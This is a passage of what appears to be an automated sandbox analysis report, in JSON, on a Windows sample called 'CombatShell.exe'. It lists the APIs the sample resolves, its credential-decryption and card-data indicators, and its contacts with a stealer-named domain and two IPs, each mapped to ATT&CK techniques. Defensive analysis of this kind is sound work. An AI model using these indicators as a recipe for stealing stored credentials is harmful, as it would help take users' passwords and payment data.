WSARecvFrom (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSASend (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSASendMsg (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSASendTo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSASocketW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WSAStartup (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter accept (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter bind (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter closesocket (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter connect (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter freeaddrinfo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter getaddrinfo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter getpeername (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter getsockname (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter getsockopt (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ioctlsocket (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter listen (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter recv (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter recvfrom (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter select (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter send (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter sendto (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter setsockopt (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter shutdown (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter socket (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WakeByAddressAll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ProcessPrng (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RaiseException (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlUnwindEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VirtualProtect (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VirtualQuery (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter __iob_func (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter __setusermatherr (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _amsg_exit (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _beginthreadex (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _endthreadex (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _errno (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _initterm (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _localtime64 (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _lock (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter _unlock (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter abort (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter calloc (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter exp (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter free (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter fwrite (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ldexp (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter malloc (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter memcmp (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter memcpy (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter memmove (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter memset (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter qsort (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter realloc (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strcmp (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strcspn (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strerror (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strlen (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strncmp (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter strrchr (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter vfprintf (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter wcslen (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtProtectVirtualMemory (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AllocConsole (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeConsole (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetStdHandle (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Process32First (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter Process32Next (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptUnprotectData (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-0","type":7,"relevance":1,"name":"Contacts domains","description":"\"api.ipify.org\"\n \"mythstealer.win\"","description_v2":["\"api.ipify.org\"","\"mythstealer.win\""],"description_v3":[{"type":"text","value":"\"api.ipify.org\""},{"type":"linebreak"},{"type":"text","value":"\"mythstealer.win\""}],"origin":"Network Traffic","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-1","type":7,"relevance":1,"name":"Contacts server","description":"\"172.67.74.152:443\"\n \"172.67.182.176:443\"","description_v2":["\"172.67.74.152:443\"","\"172.67.182.176:443\""],"description_v3":[{"type":"text","value":"\"172.67.74.152:443\""},{"type":"linebreak"},{"type":"text","value":"\"172.67.182.176:443\""}],"origin":"Network Traffic","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-16","type":2,"relevance":2,"name":"Contains SQL queries","description":"\"CREATE TABLE local_stored_cvc (guid VARCHAR PRIMARY KEY NOT NULL, value_encrypted VARCHAR NOT NULL, last_updated_timestamp INTEGER NOT NULL)\" (Source: 00000000-00005644.00000001.288725.255B0000.00000004.mdmp, 00000000-00005644.00000002.290644.255B0000.00000004.mdmp, Indicator: \"create table local_stored_cvc (guid varchar primary key not null, value_encrypted varchar not null, last_updated_timestamp integer not null)\")","description_v2":["\"CREATE TABLE local_stored_cvc (guid VARCHAR PRIMARY KEY NOT NULL, value_encrypted VARCHAR NOT NULL, last_updated_timestamp INTEGER NOT NULL)\" (Source: 00000000-00005644.00000001.288725.255B0000.00000004.mdmp, 00000000-00005644.00000002.290644.255B0000.00000004.mdmp, Indicator: \"create table local_stored_cvc (guid varchar primary key not null, value_encrypted varchar not null, last_updated_timestamp integer not null)\")"],"description_v3":[{"type":"text","value":"\"CREATE TABLE local_stored_cvc (guid VARCHAR PRIMARY KEY NOT NULL, value_encrypted VARCHAR NOT NULL, last_updated_timestamp INTEGER NOT NULL)\" (Source: 00000000-00005644.00000001.288725.255B0000.00000004.mdmp, 00000000-00005644.00000002.290644.255B0000.00000004.mdmp, Indicator: \"create table local_stored_cvc (guid varchar primary key not null, value_encrypted varchar not null, last_updated_timestamp integer not null)\")"}],"origin":"File/Memory","attck_id":"T1213","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1213","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-204","type":2,"relevance":1,"name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"CombatShell.exe\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"CombatShell.exe\")","Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-423","type":2,"relevance":1,"name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"CombatShell.exe\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"CombatShell.exe\")","Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1074.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1074/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-220","type":2,"relevance":1,"name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"CombatShell.exe\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; File: \"CombatShell.exe\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; File: \"CombatShell.exe\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"CombatShell.exe\")","Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; File: \"CombatShell.exe\")","Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; File: \"CombatShell.exe\")","Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1543.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-307","type":2,"relevance":1,"name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-315","type":2,"relevance":1,"name":"Contains ability to create/open files (API string)","description":"$36","description_v2":["Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; File: \"CombatShell.exe\")","Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"CombatShell.exe\")","Found reference to API \"NtCreateFile\" (Indicator: \"CreateFile\"; File: \"CombatShell.exe\")","Found reference to API \"NtCreateFile\" (Indicator: \"NtCreateFile\"; File: \"CombatShell.exe\")","Found reference to API \"NtOpenFile\" (Indicator: \"NtOpenFile\"; File: \"CombatShell.exe\")","Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"NtCreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"NtCreateFile\" (Indicator: \"NtCreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"NtOpenFile\" (Indicator: \"NtOpenFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtCreateFile\" (Indicator: \"CreateFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtCreateFile\" (Indicator: \"NtCreateFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtOpenFile\" (Indicator: \"NtOpenFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtCreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtCreateFile\" (Indicator: \"NtCreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtOpenFile\" (Indicator: \"NtOpenFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-345","type":2,"relevance":1,"name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-79","type":0,"relevance":1,"name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: CombatShell.exe)","description_v2":["Found GetProcAddress() and LoadLibraryA() in an import section (Source: CombatShell.exe)"],"description_v3":[{"type":"text","value":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: CombatShell.exe)"}],"origin":"Static Parser","attck_id":"T1027.007","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027/007","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-101","type":2,"relevance":1,"name":"Contains ability to execute Windows APIs","description":"$37","description_v2":["Found reference to API (Indicator: \"VirtualQuery\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DeleteCriticalSection\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RaiseException\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"VirtualProtect\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"LeaveCriticalSection\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"EnterCriticalSection\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"InitializeCriticalSection\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RevertToSelf\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ImpersonateAnonymousToken\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"BCryptGenRandom\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DeleteObject\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetObjectW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetDIBits\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetDeviceCaps\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetProcAddress\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"InitOnceBeginInitialize\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ReadFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"HeapFree\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RegisterWaitForSingleObject\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WriteConsoleW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetEnvironmentVariableW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CopyFileExW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GlobalFree\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetFileTime\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetFileCompletionNotificationModes\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"MapViewOfFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetTempPathW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GlobalLock\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateWaitableTimerExW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateDirectoryW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetCurrentProcessId\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetModuleHandleW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetProcessHeap\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetOverlappedResult\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WaitForMultipleObjects\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"UnregisterWaitEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"LoadLibraryExW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RemoveDirectoryW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetEnvironmentVariableW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"Sleep\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"InitOnceComplete\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetFileInformationByHandle\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetFileAttributesW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SleepEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"FlushFileBuffers\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetUnhandledExceptionFilter\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetCurrentDirectoryW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"FindClose\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CancelIo\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetFilePointerEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CloseHandle\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"FreeEnvironmentStringsW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"UnlockFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"TlsAlloc\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DisconnectNamedPipe\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetExitCodeProcess\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetThreadStackGuarantee\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DeviceIoControl\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetConsoleMode\"; File: 